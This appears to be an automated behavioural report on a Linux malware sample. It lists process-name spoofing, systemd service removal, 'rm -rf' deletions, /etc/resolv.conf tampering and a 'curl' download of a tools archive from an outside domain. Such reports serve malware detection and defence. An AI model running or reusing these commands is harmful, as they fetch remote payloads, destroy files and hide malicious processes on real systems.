Technical Information
Malicious functions:
Substitutes application name for:
- (sd-askpwagent)
Performs process tracing:
- <SAMPLE>
Manages services:
- ['systemctl', 'stop', 'myservice.service']
- ['systemctl', 'disable', 'myservice.service']
- ['systemctl', 'daemon-reload']
- ['systemctl', 'reset-failed']
Launches processes:
- rm -rf /lib/systemd/system/myservice.service
- <SAMPLE_FULL_PATH> -c exec \x27<SAMPLE_FULL_PATH>\x27 \x22$@\x22 <SAMPLE_FULL_PATH>
- rm -rf /etc/systemd/system/myservice.service
- rm -rf /var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n/
- rm -rf /usr/lib/systemd/system/myservice.service
- rm -rf /usr/bin/player
- mkdir -p /var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n/tmp/
- id -u
- cp -a /usr/bin/mslog/root/tools.tar /root/
- curl -O dudiito.dev/i/tools.tar
- <0x91>
Kills the following processes:
- <SAMPLE>
- systemctl
Performs operations with the file system:
Creates folders:
- /var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n
- /var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n/tmp
Creates or modifies files:
- /var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n/tmp/.tmp
- /etc/resolv.conf
Network activity:
Establishes connection:
- 8.#.8.8:53
- 94.##6.64.82:80
DNS ASK:
- du##ito.dev